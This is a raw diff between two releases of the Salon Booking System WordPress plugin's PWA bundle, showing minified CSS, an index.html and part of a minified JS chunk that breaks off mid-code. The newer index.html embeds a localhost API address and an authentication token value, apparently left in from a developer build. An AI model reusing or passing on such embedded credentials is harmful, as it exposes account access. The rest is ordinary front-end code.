var(--promo-border);border-radius:var(--radius-lg,16px);padding:14px 14px 16px;display:flex;flex-direction:column;gap:8px;min-height:11rem}.upcoming-promo-carousel__card--license[data-v-71783f76]{background:var(--promo-surface);border:2px solid var(--promo-brand)}.upcoming-promo-carousel__card--license.upcoming-promo-carousel__card--dummy[data-v-71783f76]{background:var(--promo-surface);border:2px dashed var(--promo-brand)}.upcoming-promo-carousel__card--dummy[data-v-71783f76]{border-style:dashed;border-color:var(--promo-border);background:var(--promo-surface)}.upcoming-promo-carousel__card--dummy .upcoming-promo-carousel__card-icon[data-v-71783f76]{background:transparent;color:var(--promo-brand)}.upcoming-promo-carousel__card-top[data-v-71783f76]{display:flex;flex-direction:row;align-items:flex-start;justify-content:space-between;gap:10px}.upcoming-promo-carousel__card-icon[data-v-71783f76]{flex-shrink:0;width:40px;height:40px;border-radius:12px;background:transparent;color:var(--promo-brand);display:flex;align-items:center;justify-content:center;font-size:18px}.upcoming-promo-carousel__category-pill[data-v-71783f76]{flex-shrink:1;min-width:0;align-self:center;max-width:100%;padding:4px 10px;border-radius:999px;font-size:11px;font-weight:600;line-height:1.2;letter-spacing:.02em;color:var(--promo-text);background:#fff;border:1px solid var(--promo-brand);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.upcoming-promo-carousel__card-title[data-v-71783f76]{font-size:15px;font-weight:600;color:var(--promo-brand);margin:0;line-height:1.25}.upcoming-promo-carousel__card-body[data-v-71783f76]{font-size:13px;line-height:1.45;color:var(--promo-text);margin:0;flex:1}.upcoming-promo-carousel__card-link[data-v-71783f76]{font-size:13px;font-weight:600;color:var(--promo-brand);text-decoration:none;margin-top:auto;padding-top:4px}.upcoming-promo-carousel__card-link[data-v-71783f76]:focus,.upcoming-promo-carousel__card-link[data-v-71783f76]:hover{color:var(--promo-brand);text-decoration:underline;text-underline-offset:2px}.upcoming-screen[data-v-f09f4890]{padding-top:4px}.screen-header[data-v-f09f4890]{display:flex;align-items:center;justify-content:space-between;padding:16px 0 8px;flex-shrink:0}.screen-title[data-v-f09f4890]{font-size:22px;font-weight:700;color:var(--color-text-primary,#0f172a);margin:0}.screen-subtitle[data-v-f09f4890]{font-size:16px;font-weight:500;color:var(--color-text-secondary,#64748b)}.screen-subtitle--warning[data-v-f09f4890]{color:var(--color-warning,#f59e0b);font-style:italic}.header-icon-btn[data-v-f09f4890]{width:40px;height:40px;border-radius:50%;border:none;background:transparent;color:var(--color-text-secondary,#64748b);font-size:20px;display:flex;align-items:center;justify-content:center;cursor:pointer;transition:background-color .12s ease}.header-icon-btn[data-v-f09f4890]:active{background-color:var(--color-border,#e2e8f0)}.search-bar[data-v-f09f4890]{position:relative;margin-bottom:12px}.search-bar-icon[data-v-f09f4890]{position:absolute;left:14px;top:50%;transform:translateY(-50%);color:var(--color-text-muted,#94a3b8);font-size:15px;pointer-events:none}.search-bar-input[data-v-f09f4890]{width:100%;padding:10px 40px 10px 40px;border-radius:var(--radius-pill,999px);border:1px solid var(--color-border,#e2e8f0);background-color:var(--color-surface,#fff);font-size:15px;font-family:inherit;color:var(--color-text-primary,#0f172a);outline:none}.search-bar-input[data-v-f09f4890]::-moz-placeholder{color:var(--color-text-muted,#94a3b8)}.search-bar-input[data-v-f09f4890]::placeholder{color:var(--color-text-muted,#94a3b8)}.search-bar-input[data-v-f09f4890]:focus{border-color:var(--color-primary,#2563eb);box-shadow:0 0 0 3px rgba(37,99,235,.1)}.search-bar-clear[data-v-f09f4890]{position:absolute;right:14px;top:50%;transform:translateY(-50%);color:var(--color-text-muted,#94a3b8);cursor:pointer;font-size:15px}.filter-chips[data-v-f09f4890]{display:flex;gap:8px;overflow-x:auto;padding-bottom:2px;margin-bottom:10px;scrollbar-width:none}.filter-chips[data-v-f09f4890]::-webkit-scrollbar{display:none}.chip[data-v-f09f4890]{flex-shrink:0;padding:6px 16px;border-radius:var(--radius-pill,999px);border:1px solid var(--color-border,#e2e8f0);background-color:var(--color-background,#f4f6fa);color:var(--color-text-secondary,#64748b);font-size:13px;font-weight:500;font-family:inherit;cursor:pointer;transition:all .12s ease;white-space:nowrap}.chip--active[data-v-f09f4890]{background-color:var(--color-primary,#2563eb);border-color:var(--color-primary,#2563eb);color:#fff}.upcoming-bookings-and-promo[data-v-f09f4890]{min-height:0;max-height:calc(100vh - 168px);max-height:calc(100dvh - 168px);overflow-y:auto;overflow-x:hidden;-webkit-overflow-scrolling:touch;overscroll-behavior-y:contain;padding-bottom:calc(env(safe-area-inset-bottom, 0px) + 100px)}.bookings-scroll-region[data-v-f09f4890]{min-height:0}.bookings-list.bookings-list--stacked[data-v-f09f4890]{display:flex;flex-direction:column;gap:10px;padding-bottom:8px}.loading-center[data-v-f09f4890]{display:flex;justify-content:center;padding:40px 0}.empty-state[data-v-f09f4890]{text-align:center;padding:60px 24px 24px}.empty-state-icon[data-v-f09f4890]{font-size:48px;color:var(--color-text-muted,#94a3b8);margin-bottom:16px}.empty-state-title[data-v-f09f4890]{font-size:17px;font-weight:600;color:var(--color-text-primary,#0f172a);margin:0 0 6px}.empty-state-sub[data-v-f09f4890]{font-size:14px;color:var(--color-text-secondary,#64748b);margin:0}.screen-wrapper[data-v-1ad85148]{min-height:100vh;background:var(--color-background,#f4f6fa)}.screen-header[data-v-1ad85148]{display:flex;align-items:center;padding:12px var(--spacing-page,16px);position:sticky;top:0;z-index:10}.back-btn[data-v-1ad85148]{background:none;border:none;padding:6px 8px;color:var(--color-text-primary,#0f172a);font-size:18px;cursor:pointer;min-width:40px;min-height:40px;display:flex;align-items:center;justify-content:center;border-radius:50%;transition:background .15s}.back-btn[data-v-1ad85148]:hover{background:rgba(0,0,0,.06)}.back-btn-placeholder[data-v-1ad85148]{min-width:40px}.screen-title[data-v-1ad85148]{flex:1;text-align:center;font-size:17px;font-weight:600;color:var(--color-text-primary,#0f172a);margin:0}\n\\ No newline at end of file\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fcss: 128.css\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fcss: 1.css\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fcss: 389.css\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fcss: 473.css\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fcss: 63.css\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fcss: 92.css\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Findex.html \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Findex.html\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Findex.html\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Findex.html\t2026-04-21 18:43:56.000000000 +0000\n@@ -1 +1 @@\n-\u003C!doctype html>\u003Chtml lang=\"\">\u003Chead>\u003Cmeta charset=\"utf-8\">\u003Cmeta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\u003Cmeta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\u003C!--[if IE]>\u003Clink rel=\"icon\" href=\"\u002F{SLN_PWA_DIST_PATH}\u002Ffavicon.ico\">\u003C![endif]-->\u003Ctitle>salon-booking-plugin-pwa\u003C\u002Ftitle>\u003Clink href=\"\u002F{SLN_PWA_DIST_PATH}\u002Fcss\u002Fchunk-vendors.css\" rel=\"stylesheet\">\u003Clink href=\"\u002F{SLN_PWA_DIST_PATH}\u002Fcss\u002Fapp.css\" rel=\"stylesheet\">\u003Clink rel=\"icon\" type=\"image\u002Fsvg+xml\" href=\"\u002F{SLN_PWA_DIST_PATH}\u002Fimg\u002Ficons\u002Ffavicon.svg\">\u003Clink rel=\"icon\" type=\"image\u002Fpng\" sizes=\"32x32\" href=\"\u002F{SLN_PWA_DIST_PATH}\u002Fimg\u002Ficons\u002Ffavicon-32x32.png\">\u003Clink rel=\"icon\" type=\"image\u002Fpng\" sizes=\"16x16\" href=\"\u002F{SLN_PWA_DIST_PATH}\u002Fimg\u002Ficons\u002Ffavicon-16x16.png\">\u003Clink rel=\"manifest\" href=\"\u002F{SLN_PWA_DIST_PATH}\u002Fmanifest.json\">\u003Cmeta name=\"theme-color\" content=\"#ffd100\">\u003Cmeta name=\"apple-mobile-web-app-capable\" content=\"no\">\u003Cmeta name=\"apple-mobile-web-app-status-bar-style\" content=\"default\">\u003Cmeta name=\"apple-mobile-web-app-title\" content=\"Salon Booking Plugin\">\u003Clink rel=\"apple-touch-icon\" href=\"\u002F{SLN_PWA_DIST_PATH}\u002Fimg\u002Ficons\u002Fapple-touch-icon-152x152.png\">\u003Clink rel=\"mask-icon\" href=\"\u002F{SLN_PWA_DIST_PATH}\u002Fimg\u002Ficons\u002Fsafari-pinned-tab.svg\" color=\"#ffd100\">\u003Cmeta name=\"msapplication-TileImage\" content=\"\u002F{SLN_PWA_DIST_PATH}\u002Fimg\u002Ficons\u002Fmsapplication-icon-144x144.png\">\u003Cmeta name=\"msapplication-TileColor\" content=\"#000000\">\u003C\u002Fhead>\u003Cbody>\u003Cnoscript>\u003Cstrong>We're sorry but salon-booking-plugin-pwa doesn't work properly without JavaScript enabled. Please enable it to continue.\u003C\u002Fstrong>\u003C\u002Fnoscript>\u003Cscript>var slnPWA = JSON.parse('{SLN_PWA_DATA}')\u003C\u002Fscript>\u003Cdiv id=\"app\">\u003C\u002Fdiv>\u003Cscript src=\"\u002F{SLN_PWA_DIST_PATH}\u002Fjs\u002Ffontawesome.js\">\u003C\u002Fscript>\u003Cscript src=\"\u002F{SLN_PWA_DIST_PATH}\u002Fjs\u002Fchunk-vendors.js\">\u003C\u002Fscript>\u003Cscript src=\"\u002F{SLN_PWA_DIST_PATH}\u002Fjs\u002Fapp.js\">\u003C\u002Fscript>\u003C\u002Fbody>\u003C\u002Fhtml>\n\\ No newline at end of file\n+\u003C!doctype html>\u003Chtml lang=\"\">\u003Chead>\u003Cmeta charset=\"utf-8\">\u003Cmeta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\u003Cmeta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\u003C!--[if IE]>\u003Clink rel=\"icon\" href=\"\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Ffavicon.ico\">\u003C![endif]-->\u003Ctitle>salon-booking-plugin-pwa\u003C\u002Ftitle>\u003Clink href=\"\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fcss\u002Fchunk-vendors.css\" rel=\"stylesheet\">\u003Clink href=\"\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fcss\u002Fapp.css\" rel=\"stylesheet\">\u003Clink rel=\"icon\" type=\"image\u002Fsvg+xml\" href=\"\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fimg\u002Ficons\u002Ffavicon.svg\">\u003Clink rel=\"icon\" type=\"image\u002Fpng\" sizes=\"32x32\" href=\"\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fimg\u002Ficons\u002Ffavicon-32x32.png\">\u003Clink rel=\"icon\" type=\"image\u002Fpng\" sizes=\"16x16\" href=\"\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fimg\u002Ficons\u002Ffavicon-16x16.png\">\u003Clink rel=\"manifest\" href=\"\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fmanifest.json\">\u003Cmeta name=\"theme-color\" content=\"#ffd100\">\u003Cmeta name=\"apple-mobile-web-app-capable\" content=\"no\">\u003Cmeta name=\"apple-mobile-web-app-status-bar-style\" content=\"default\">\u003Cmeta name=\"apple-mobile-web-app-title\" content=\"Salon Booking Plugin\">\u003Clink rel=\"apple-touch-icon\" href=\"\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fimg\u002Ficons\u002Fapple-touch-icon-152x152.png\">\u003Clink rel=\"mask-icon\" href=\"\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fimg\u002Ficons\u002Fsafari-pinned-tab.svg\" color=\"#ffd100\">\u003Cmeta name=\"msapplication-TileImage\" content=\"\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fimg\u002Ficons\u002Fmsapplication-icon-144x144.png\">\u003Cmeta name=\"msapplication-TileColor\" content=\"#000000\">\u003C\u002Fhead>\u003Cbody>\u003Cnoscript>\u003Cstrong>We're sorry but salon-booking-plugin-pwa doesn't work properly without JavaScript enabled. Please enable it to continue.\u003C\u002Fstrong>\u003C\u002Fnoscript>\u003Cscript>var slnPWA = JSON.parse('{\\\"is_pro\\\":true,\\\"pro_pricing_url\\\":\\\"https:\\\\\u002F\\\\\u002Fwww.salonbookingsystem.com\\\\\u002Fplugin-pricing\\\\\u002F\\\",\\\"api\\\":\\\"http:\\\\\u002F\\\\\u002Flocalhost:10018\\\\\u002Fwp-json\\\\\u002Fsalon\\\\\u002Fapi\\\\\u002Fmobile\\\\\u002Fv1\\\\\u002F\\\",\\\"token\\\":\\\"ad79c6476711472174dafcb887f70ff946e69123\\\",\\\"onesignal_app_id\\\":null,\\\"locale\\\":\\\"en\\\",\\\"is_shops\\\":false,\\\"labels\\\":{\\\"pendingPaymentStatusLabel\\\":\\\"Pending payment\\\",\\\"pendingStatusLabel\\\":\\\"Pending\\\",\\\"paidStatusLabel\\\":\\\"Paid\\\",\\\"payLaterStatusLabel\\\":\\\"Pay later\\\",\\\"errorStatusLabel\\\":\\\"Error\\\",\\\"canceledStatusLabel\\\":\\\"Canceled\\\",\\\"confirmedStatusLabel\\\":\\\"Confirmed\\\",\\\"upcomingReservationsTitle\\\":\\\"Upcoming\\\",\\\"upcomingReservationsNoResultLabel\\\":\\\"No upcoming bookings ...\\\",\\\"upcomingBookingsScrollAriaLabel\\\":\\\"Upcoming bookings\\\",\\\"upcomingPromosSectionTitle\\\":\\\"Features & add-ons\\\",\\\"upcomingPromoCtaLabel\\\":\\\"Learn more\\\",\\\"upcomingPromo1Title\\\":\\\"Dynamic pricing\\\",\\\"upcomingPromo1Body\\\":\\\"Offer demand-based pricing with the Dynamic Pricing add-on for Salon Booking System.\\\",\\\"upcomingPromo2Title\\\":\\\"SMS notifications\\\",\\\"upcomingPromo2Body\\\":\\\"Send automated text reminders and cut no-shows with the right messaging add-on.\\\",\\\"upcomingPromo3Title\\\":\\\"Full mobile workflow\\\",\\\"upcomingPromo3Body\\\":\\\"Unlock the calendar, customers, and full booking details in this app with PRO.\\\",\\\"label8Hours\\\":\\\"8 hrs\\\",\\\"label24Hours\\\":\\\"24 hrs\\\",\\\"label3Days\\\":\\\"3 days\\\",\\\"label1Week\\\":\\\"1 week\\\",\\\"allTitle\\\":\\\"All\\\",\\\"deleteBookingConfirmText\\\":\\\"Are you sure ?\\\",\\\"deleteBookingButtonLabel\\\":\\\"Yes, delete\\\",\\\"deleteBookingGoBackLabel\\\":\\\"Go back\\\",\\\"editReservationTitle\\\":\\\"Edit the reservation\\\",\\\"dateTitle\\\":\\\"date\\\",\\\"timeTitle\\\":\\\"time\\\",\\\"customerFirstnamePlaceholder\\\":\\\"firstname\\\",\\\"customerLastnamePlaceholder\\\":\\\"lastname\\\",\\\"customerEmailPlaceholder\\\":\\\"email\\\",\\\"customerAddressPlaceholder\\\":\\\"address\\\",\\\"customerPhonePlaceholder\\\":\\\"phone\\\",\\\"customerNotesPlaceholder\\\":\\\"notes\\\",\\\"customerPersonalNotesPlaceholder\\\":\\\"customer personal notes\\\",\\\"customerPersonalNotesLabel\\\":\\\"Customer personal notes\\\",\\\"saveAsNewCustomerLabel\\\":\\\"Save this customer\\\",\\\"extraInfoLabel\\\":\\\"Extra info\\\",\\\"addAndManageDiscountButtonLabel\\\":\\\"Add and manage discount\\\",\\\"selectDiscountLabel\\\":\\\"Select a discount\\\",\\\"addDiscountButtonLabel\\\":\\\"Add a discount\\\",\\\"saveButtonLabel\\\":\\\"Save booking\\\",\\\"savedLabel\\\":\\\"Saved\\\",\\\"validationMessage\\\":\\\"Please fill the required fields\\\",\\\"selectServicesPlaceholder\\\":\\\"Select services\\\",\\\"selectAttendantsPlaceholder\\\":\\\"Select an assistant\\\",\\\"selectResourcesPlaceholder\\\":\\\"Select a resource\\\",\\\"selectServicesSearchPlaceholder\\\":\\\"Type service name\\\",\\\"selectAssistantsSearchPlaceholder\\\":\\\"Type assistant name\\\",\\\"selectResourcesSearchPlaceholder\\\":\\\"Type resource name\\\",\\\"selectDiscountsSearchPlaceholder\\\":\\\"Type discount name\\\",\\\"addServiceButtonLabel\\\":\\\"Add a service\\\",\\\"addServiceMessage\\\":\\\"Please add services\\\",\\\"selectExistingClientButtonLabel\\\":\\\"Select existing client\\\",\\\"bookingDetailsTitle\\\":\\\"Booking details\\\",\\\"totalTitle\\\":\\\"Total\\\",\\\"transactionIdTitle\\\":\\\"Transaction ID\\\",\\\"discountTitle\\\":\\\"Discount\\\",\\\"depositTitle\\\":\\\"Deposit\\\",\\\"dueTitle\\\":\\\"Due\\\",\\\"editButtonLabel\\\":\\\"Edit booking\\\",\\\"reservationsCalendarTitle\\\":\\\"Reservations calendar\\\",\\\"noResultTimeslotsLabel\\\":\\\"No timeslots ...\\\",\\\"addReservationTitle\\\":\\\"Add the reservation\\\",\\\"customersAddressBookTitle\\\":\\\"Customers\\\",\\\"goBackButtonLabel\\\":\\\"GO BACK\\\",\\\"customersAddressBookNoResultLabel\\\":\\\"No customers found ...\\\",\\\"installPWAPromptText\\\":\\\"Add to home screen ?\\\",\\\"calendarLocale\\\":\\\"en\\\",\\\"installPWAPromptInstallBtnLabel\\\":\\\"Install!\\\",\\\"installPWAPromptNoInstallBtnLabel\\\":\\\"No, thanks\\\",\\\"installPWAIOSText\\\":\\\"Install this app on your IPhone=> __( tap menu and then Add to homescreen\\\",\\\"shopsTitle\\\":\\\"Select a shop\\\",\\\"shopsNoResultLabel\\\":\\\"No shops ...\\\",\\\"shopTitleLabel\\\":\\\"Shop\\\",\\\"selectShopFirstMessage\\\":\\\"Please select a shop first to edit booking\\\",\\\"selectShopPlaceholder\\\":\\\"Select shop\\\",\\\"successMessagePayRemainingAmount\\\":\\\"Email sent\\\",\\\"errorMessagePayRemainingAmount\\\":\\\"Error, email not sent\\\",\\\"takePhotoButtonLabel\\\":\\\"Take Photo\\\",\\\"selectPhotoButtonLabel\\\":\\\"Select from phone\\\",\\\"backImagesButtonLabel\\\":\\\"Go back\\\",\\\"photoCameraButtonLabel\\\":\\\"Photo\\\",\\\"customerDetailsUpdateButtonLabel\\\":\\\"Update customer\\\",\\\"customerDetailsGoBackButtonLabel\\\":\\\"Go back\\\",\\\"assistantBusyTitle\\\":\\\"Assistant is busy\\\",\\\"assistantBusyMessage\\\":\\\"is busy from %s to %s. Please select another time or assistant.\\\",\\\"attendantViewLabel\\\":\\\"Assistants view\\\",\\\"bookingActionEdit\\\":\\\"Edit\\\",\\\"bookingActionDelete\\\":\\\"Delete\\\",\\\"bookingActionCallCustomer\\\":\\\"Call customer\\\",\\\"bookingActionWhatsappCustomer\\\":\\\"Whatsapp customer\\\",\\\"bookingActionOpenProfile\\\":\\\"Open customer profile\\\",\\\"proUpgradeModalTitle\\\":\\\"PRO feature\\\",\\\"proUpgradeModalMessage\\\":\\\"The calendar and customers directory are available in Salon Booking System PRO. Upgrade to unlock them in the mobile app.\\\",\\\"proUpgradeModalCtaLabel\\\":\\\"View PRO plans\\\",\\\"proUpgradeModalCloseLabel\\\":\\\"Not now\\\",\\\"proUpgradeBookingDetailsMessage\\\":\\\"Opening a booking to view or edit details is available in Salon Booking System PRO. Upgrade to unlock full mobile booking management.\\\",\\\"pwaLicensePromoFreeProTitle\\\":\\\"Unlock Salon Booking PRO\\\",\\\"pwaLicensePromoFreeProBody\\\":\\\"Payments, deposits, SMS, advanced calendar, and the full mobile app workflow \\\\u2014 upgrade to a PRO license on our website.\\\",\\\"pwaLicensePromoFreeProCta\\\":\\\"View PRO plans\\\",\\\"pwaLicensePromoBasicBusinessTitle\\\":\\\"Upgrade to Business Plan\\\",\\\"pwaLicensePromoBasicBusinessBody\\\":\\\"Your Basic plan is active. Move up to Business for more included add-ons, higher limits, and advanced features for growing salons.\\\",\\\"pwaLicensePromoBasicBusinessCta\\\":\\\"Compare plans\\\"},\\\"can_use_assistant_filter\\\":true,\\\"can_access_booking_resize_pref\\\":true,\\\"dummy_promo_cards\\\":true,\\\"featured_addon_promos\\\":[{\\\"title\\\":\\\"Salon Booking System - Walk-In Totem\\\",\\\"body\\\":\\\"\\\\u00a0 \\\\u00a0 Transform Your Walk-In Customer Experience with Digital Queue Management The\\\\u00a0Walk-In Totem Add-on\\\\u00a0is a comprehensive digital solution designed to modernize ...\\\",\\\"href\\\":\\\"https:\\\\\u002F\\\\\u002Fwww.salonbookingsystem.com\\\\\u002Fdownloads\\\\\u002Fsalon-booking-system-walkin-totem\\\\\u002F\\\",\\\"category\\\":\\\"Productivity\\\"},{\\\"title\\\":\\\"Salon Booking System - Woocommerce Integration\\\",\\\"body\\\":\\\"Woocommerce checkout integration add-on allows you to use the WooCommerce checkout for the front-end booking process. That means that you can benefit from all t...\\\",\\\"href\\\":\\\"https:\\\\\u002F\\\\\u002Fwww.salonbookingsystem.com\\\\\u002Fdownloads\\\\\u002Fsalon-booking-system-woocommerce-integration\\\\\u002F\\\",\\\"category\\\":\\\"Productivity\\\"},{\\\"title\\\":\\\"Salon Booking System - Communicator\\\",\\\"body\\\":\\\"Communicator is the official add-on for the Salon Booking System PRO edition. It harnesses AI technology to power your email marketing efforts, enabling you to ...\\\",\\\"href\\\":\\\"https:\\\\\u002F\\\\\u002Fwww.salonbookingsystem.com\\\\\u002Fdownloads\\\\\u002Fsalon-booking-system-communicator\\\\\u002F\\\",\\\"category\\\":\\\"Email Marketing\\\"}],\\\"license_upgrade_promo\\\":null}')\u003C\u002Fscript>\u003Cdiv id=\"app\">\u003C\u002Fdiv>\u003Cscript src=\"\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fjs\u002Ffontawesome.js\">\u003C\u002Fscript>\u003Cscript src=\"\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fjs\u002Fchunk-vendors.js\">\u003C\u002Fscript>\u003Cscript src=\"\u002Fwp-content\u002Fplugins\u002Fsalon-booking-plugin symlink\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fjs\u002Fapp.js\">\u003C\u002Fscript>\u003C\u002Fbody>\u003C\u002Fhtml>\n\\ No newline at end of file\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist: index.template.html\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fjs\u002F114.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fjs\u002F114.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fjs\u002F114.js\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fjs\u002F114.js\t2026-04-21 18:43:56.000000000 +0000\n@@ -1 +1 @@\n-\"use strict\";(self[\"webpackChunksalon_booking_plugin_pwa\"]=self[\"webpackChunksalon_booking_plugin_pwa\"]||[]).push([[114],{1114:function(e,s,o){o.r(s),o.d(s,{default:function(){return fe}});var t=o(6436),i=o(1469);function a(e,s,o,a,n,r){const l=(0,t.g2)(\"ImagesList\"),c=(0,t.g2)(\"CustomersAddressBook\"),u=(0,t.g2)(\"EditBookingItem\"),m=(0,t.g2)(\"CustomerDetails\"),h=(0,t.g2)(\"BookingDetails\"),d=(0,t.g2)(\"UpcomingReservations\");return(0,t.uX)(),(0,t.CE)(\"div\",null,[e.isShowCustomerImages?((0,t.uX)(),(0,t.Wv)(l,{key:0,customer:e.showImagesCustomer,onClose:r.closeShowCustomerImages,onTakePhoto:e.showTakePhoto,takePhotoFile:e.photo},null,8,[\"customer\",\"onClose\",\"onTakePhoto\",\"takePhotoFile\"])):e.isChooseCustomer?((0,t.uX)(),(0,t.Wv)(c,{key:1,onCloseChooseCustomer:r.closeChooseCustomer,chooseCustomerAvailable:!0,onChoose:r.choose,shop:e.item.shop},null,8,[\"onCloseChooseCustomer\",\"onChoose\",\"shop\"])):e.editItem?((0,t.uX)(),(0,t.Wv)(u,{key:2,booking:e.item,customer:e.customer,onClose:r.closeEditItem,onChooseCustomer:r.chooseCustomer},null,8,[\"booking\",\"customer\",\"onClose\",\"onChooseCustomer\"])):e.showCustomerProfile?((0,t.uX)(),(0,t.Wv)(m,{key:3,customerID:e.selectedCustomer.id,customerFirstname:e.selectedCustomer.first_name,customerLastname:e.selectedCustomer.last_name,customerEmail:e.selectedCustomer.email,customerPhone:e.selectedCustomer.phone,customerAddress:e.selectedCustomer.address,customerPersonalNotes:e.selectedCustomer.note,onClose:r.closeCustomerProfile},null,8,[\"customerID\",\"customerFirstname\",\"customerLastname\",\"customerEmail\",\"customerPhone\",\"customerAddress\",\"customerPersonalNotes\",\"onClose\"])):e.showItem?((0,t.uX)(),(0,t.Wv)(h,{key:4,booking:e.item,onClose:r.closeShowItem,onEdit:r.setEditItem,onShowCustomerImages:r.showCustomerImages,onViewCustomerProfile:r.openCustomerProfile},null,8,[\"booking\",\"onClose\",\"onEdit\",\"onShowCustomerImages\",\"onViewCustomerProfile\"])):(0,t.Q3)(\"\",!0),(0,t.bo)((0,t.bF)(d,{onShowItem:r.setShowItem,shop:o.shop},null,8,[\"onShowItem\",\"shop\"]),[[i.aG,!e.showItem&&!e.showCustomerProfile]])])}var n=o(7959);const r={class:\"upcoming-screen\"},l={class:\"screen-header\"},c={class:\"screen-title\"},u={key:0,class:\"screen-subtitle\"},m={key:1,class:\"screen-subtitle screen-subtitle--warning\"},h={key:0,class:\"search-bar\"},d={key:1,class:\"filter-chips\"},g=[\"onClick\"],b={key:3,class:\"loading-center\"},p={key:4,class:\"upcoming-bookings-and-promo\"},k=[\"aria-label\"],f={class:\"bookings-list bookings-list--stacked\"},C={key:1,class:\"empty-state\"},w={class:\"empty-state-icon\"},y={class:\"empty-state-sub\"};function v(e,s,o,a,v,_){const 